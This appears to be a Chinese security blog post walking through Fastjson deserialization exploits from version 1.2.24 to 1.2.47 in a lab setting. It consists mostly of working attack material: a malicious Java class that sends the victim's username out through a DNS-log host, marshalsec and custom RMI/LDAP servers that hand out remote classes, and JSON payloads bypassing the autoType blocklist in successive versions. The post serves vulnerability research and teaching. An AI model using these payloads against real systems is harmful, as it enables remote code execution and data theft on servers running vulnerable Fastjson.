Fastjson是Alibaba开发的Java语言编写的高性能JSON库,用于将数据在JSON和Java Object之间互相转换,提供两个主要接口JSON.toJSONString和JSON.parseObject/JSON.parse来分别实现序列化和反序列化操作。
Fastjson 1.2.22-1.2.24
漏洞环境
运行测试环境:
环境运行后,访问http://your-ip:8090即可看到JSON格式的输出。
我们向这个地址POST一个JSON对象,即可更新服务端的信息:
1
|
curl http://your-ip:8090/ -H "Content-Type: application/json" --data '{"name":"hello", "age":20}'
|
漏洞复现:
因为目标环境是Java 8u102,没有com.sun.jndi.rmi.object.trustURLCodebase的限制,我们可以使用com.sun.rowset.JdbcRowSetImpl的利用链,借助JNDI注入来执行命令。
起一个WEB服务器,
1
|
python -m http.server 80
|
首先编译并上传命令执行代码到WEB服务中
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
|
import java.lang.Runtime; import java.lang.Process;
public class TouchFile { static { try { Runtime rt = Runtime.getRuntime(); String[] commands = { "/bin/sh", "-c", "ping -c 1 `whoami`.xxx.dnslog.cn"}; Process pc = rt.exec(commands); pc.waitFor(); } catch (Exception e) { } } }
|
然后我们借助marshalsec项目,启动一个RMI服务器,监听9999端口,并制定加载远程类TouchFile.class:
1
|
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://your-vps/#TouchFile" 9999
|
向靶场服务器发送Payload,带上RMI的地址:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
|
POST / HTTP/1.1 Host: your-ip:8090 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Content-Type: application/json Content-Length: 160
{ "b":{ "@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"rmi://your-vps:9999/TouchFile", "autoCommit":true } }
|
可见,命令已成功执行:
TemplatesImpl利用链
漏洞原理:Fastjson通过bytecodes字段传入恶意类,调用outputProperties属性的getter方法时,实例化传入的恶意类,调用其构造方法,造成任意命令执行。
但是由于需要在parse反序列化时设置第二个参数Feature.SupportNonPublicField,所以利用面很窄,但是这条利用链还是值得去学习
详情可看 https://xz.aliyun.com/t/8979
JdbcRowSetImpl利用链
JdbcRowSetImpl利用链最终的结果是导致JNDI注入,可以使用RMI+JNDI和RMI+LDAP进行利用
RMI+JNDI
编译badClassName.java文件,并起一个WEB服务放入,这里端口设置为8888
badClassName.java
1 2 3 4 5 6 7 8 9
|
import java.io.IOException;
public class badClassName { public badClassName() throws IOException { Runtime.getRuntime().exec("calc");
}
}
|
JNDIServer
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
|
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.NamingException; import javax.naming.Reference; import java.rmi.AlreadyBoundException; import java.rmi.RemoteException; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry;
public class JNDIServer { public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException { Registry registry = LocateRegistry.createRegistry(1200); Reference reference = new Reference("calc", "badClassName","http://127.0.0.1:8888/"); ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference); registry.bind("calc",referenceWrapper); } }
|
1 2 3 4 5 6 7 8 9
|
import com.alibaba.fastjson.JSON;
public class JNDIClient { public static void main(String[] argv){ System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true"); String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://127.0.0.1:1200/calc\", \"autoCommit\":true}"; JSON.parse(payload); } }
|
LDAP+JNDI
编译badClassName.java文件,并起一个WEB服务放入,这里端口设置为8888
badClassName.java
1 2 3 4 5 6 7 8 9
|
import java.io.IOException;
public class badClassName { public badClassName() throws IOException { Runtime.getRuntime().exec("calc");
}
}
|
LdapServer.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98
|
import com.unboundid.ldap.listener.InMemoryDirectoryServer; import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig; import com.unboundid.ldap.listener.InMemoryListenerConfig; import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult; import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor; import com.unboundid.ldap.sdk.Entry; import com.unboundid.ldap.sdk.LDAPException; import com.unboundid.ldap.sdk.LDAPResult; import com.unboundid.ldap.sdk.ResultCode; import javax.net.ServerSocketFactory; import javax.net.SocketFactory; import javax.net.ssl.SSLSocketFactory; import java.net.InetAddress; import java.net.MalformedURLException; import java.net.URL;
class LDAPServer {
private static final String LDAP_BASE = "dc=example,dc=com";
public static void main (String[] args) {
String url = "http://127.0.0.1:8888/#badClassName"; int port = 1389;
try { InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE); config.setListenerConfigs(new InMemoryListenerConfig( "listen", InetAddress.getByName("0.0.0.0"), port, ServerSocketFactory.getDefault(), SocketFactory.getDefault(), (SSLSocketFactory) SSLSocketFactory.getDefault()));
config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url))); InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config); System.out.println("Listening on 0.0.0.0:" + port); ds.startListening();
} catch ( Exception e ) { e.printStackTrace(); } }
private static class OperationInterceptor extends InMemoryOperationInterceptor {
private URL codebase;
public OperationInterceptor ( URL cb ) { this.codebase = cb; }
@Override public void processSearchResult ( InMemoryInterceptedSearchResult result ) { String base = result.getRequest().getBaseDN(); Entry e = new Entry(base); try { sendResult(result, base, e); } catch ( Exception e1 ) { e1.printStackTrace(); }
}
protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException { URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class")); System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl); e.addAttribute("javaClassName", "Exploit"); String cbstring = this.codebase.toString(); int refPos = cbstring.indexOf('#'); if ( refPos > 0 ) { cbstring = cbstring.substring(0, refPos); } e.addAttribute("javaCodeBase", cbstring); e.addAttribute("objectClass", "javaNamingReference"); e.addAttribute("javaFactory", this.codebase.getRef()); result.sendSearchEntry(e); result.setResult(new LDAPResult(0, ResultCode.SUCCESS)); }
} }
|
客户端调用,触发恶意代码
1 2 3 4 5 6 7 8
|
import com.alibaba.fastjson.JSON;
public class Main { public static void main(String[] argv){ String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://127.0.0.1:1389/badClassName\", \"autoCommit\":true}"; JSON.parse(payload); } }
|
checkAutotype安全机制
Fastjson从1.2.25开始引入了checkAutotype安全机制,通过黑名单+白名单机制来防御。
com/alibaba/fastjson/parser/ParserConfig.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
|
int i; String deny; for(i = 0; i < this.acceptList.length; ++i) { deny = this.acceptList[i]; if (className.startsWith(deny)) { return TypeUtils.loadClass(typeName, this.defaultClassLoader); } }
for(i = 0; i < this.denyList.length; ++i) { deny = this.denyList[i]; if (className.startsWith(deny)) { throw new JSONException("autoType is not support. " + typeName); } }
|
![]()
Fastjson 1.2.41
1.2.41版本漏洞利用,其实就是针对1.2.24版本漏洞所打的补丁的绕过,本次漏洞影响了1.2.41版本以及之前的版本
1 2 3 4 5
|
public static void main(String[] argv){ ParserConfig.getGlobalInstance().setAutoTypeSupport(true); String payload = "{\"@type\":\"Lcom.sun.rowset.JdbcRowSetImpl;\",\"dataSourceName\":\"ldap://127.0.0.1:1389/badClassName\", \"autoCommit\":true}"; JSON.parseObject(payload); }
|
可以发现,@type字段值为”Lcom.sun.rowset.JdbcRowSetImpl;”
在”com.sun.rowset.JdbcRowSetImpl”类的首尾多出了一个L与;
通过上文对checkAutotype安全机制的解释可以发现,@type字段值首先会经过黑白名单的校验。在成功通过校验之后,程序接下来会通过TypeUtils.loadClass方法对类进行加载
1 2 3
|
if (clazz == null) { clazz = TypeUtils.loadClass(typeName, this.defaultClassLoader, false); }
|
进入loadClass
1 2 3 4 5 6 7 8 9 10 11 12 13
|
public static Class<?> loadClass(String className, ClassLoader classLoader, boolean cache) { if (className != null && className.length() != 0) { Class<?> clazz = (Class)mappings.get(className); if (clazz != null) { return clazz; } else if (className.charAt(0) == '[') { Class<?> componentType = loadClass(className.substring(1), classLoader); return Array.newInstance(componentType, 0).getClass(); } else if (className.startsWith("L") && className.endsWith(";")) { String newClassName = className.substring(1, className.length() - 1); return loadClass(newClassName, classLoader); } else { ……
|
”[”、 ”L”、”;”
这些都是什么?以及为什么FastJson为什么要写两处if逻辑来处理他们。
用来解析传入的数组类型的Class对象字符串(JNI字段描述符)
详情可看:
https://www.anquanke.com/post/id/215753
Fastjson 1.2.42
不同于之前的版本,程序并不是直接通过明文的方式来匹配黑白名单,而是采用了一定的加密混淆。 针对这里的黑名单的原文明文也是有人曾经研究过的,可以参考如下链接
https://github.com/LeadroyaL/fastjson-blacklist
开发者的用意大概是想针对于1.2.41版本的利用”Lcom.sun.rowset.JdbcRowSetImpl;”,先剥去传入类名首尾的”L”与”;”,
以便将恶意数据暴露出来,再经过黑名单校验
1 2 3 4 5 6 7 8 9 10 11 12
|
public Class<?> checkAutoType(String typeName, Class<?> expectClass, int features) { if (typeName == null) { return null; } else if (typeName.length() < 128 && typeName.length() >= 3) { String className = typeName.replace('$', '.'); Class<?> clazz = null; long BASIC = -3750763034362895579L; long PRIME = 1099511628211L; if (((-3750763034362895579L ^ (long)className.charAt(0)) * 1099511628211L ^ (long)className.charAt(className.length() - 1)) * 1099511628211L == 655701488918567152L) { className = className.substring(1, className.length() - 1); } ……
|
绕过
1 2 3 4 5
|
public static void main(String[] argv){ ParserConfig.getGlobalInstance().setAutoTypeSupport(true); String payload = "{\"@type\":\"Lcom.sun.rowset.JdbcRowSetImpl;;\",\"dataSourceName\":\"ldap://127.0.0.1:1389/badClassName\", \"autoCommit\":true}"; JSON.parseObject(payload); }
|
Fastjson 1.2.45
在Fastjson 1.2.45版本中,checkAutotype安全机制又被发现了一种绕过方式。
之前的几次绕过都是针对checkAutoType的绕过,而这次则是利用了一条黑名单中不包含的元素,从而绕过了黑名单限制。
本次绕过利用到的是mybatis库。如果想测试成功,需要额外安装mybatis库。
pom.xml
1 2 3 4 5
|
<dependency> <groupId>org.mybatis</groupId> <artifactId>mybatis</artifactId> <version>3.5.2</version> </dependency>
|
利用poc如下
1 2 3 4 5
|
public static void main(String[] argv){ ParserConfig.getGlobalInstance().setAutoTypeSupport(true); String payload = "{\"@type\":\"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory\",\"properties\":{\"data_source\":\"ldap://127.0.0.1:1389/badClassName\"}}"; JSON.parseObject(payload); }
|
Fastjson 1.2.47
Fastjson 1.2.47版本漏洞与上篇文章中介绍的几处漏洞在原理上有着很大的不同。与Fastjson历史上存在的大多数漏洞不同的是,Fastjson 1.2.47版本的漏洞利用在AutoTypeSupport功能未开启时进行。
poc
1 2 3 4 5 6
|
public static void main(String[] args) { String payload = "{\"a\":{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"}," + "\"b\":{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://127.0.0.1:1389/badClassName\",\"autoCommit\":true}}"; Object obj = JSON.parseObject(payload); System.out.println(obj); }
|
![]()
1 2 3 4 5 6 7 8 9 10 11
|
{ "a":{ "@type":"java.lang.Class", "val":"com.sun.rowset.JdbcRowSetImpl" }, "b":{ "@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"rmi://192.168.1.100:9999/TouchFile", "autoCommit":true } }
|
不开启autotype
参考文章:
https://www.kumamon.fun/fastjsonsecurity1/
https://vulhub.org/
https://xz.aliyun.com/t/8979
Fastjson 1.2.24反序列化漏洞深度分析:http://blog.topsec.com.cn/fastjson-1-2-24%e5%8f%8d%e5%ba%8f%e5%88%97%e5%8c%96%e6%bc%8f%e6%b4%9e%e6%b7%b1%e5%ba%a6%e5%88%86%e6%9e%90/
Fastjson历史漏洞研究(一): https://www.anquanke.com/post/id/215753
FastJson历史漏洞研究(二):https://www.anquanke.com/post/id/218268
FROM :blog.cfyqy.com | Author:cfyqy
评论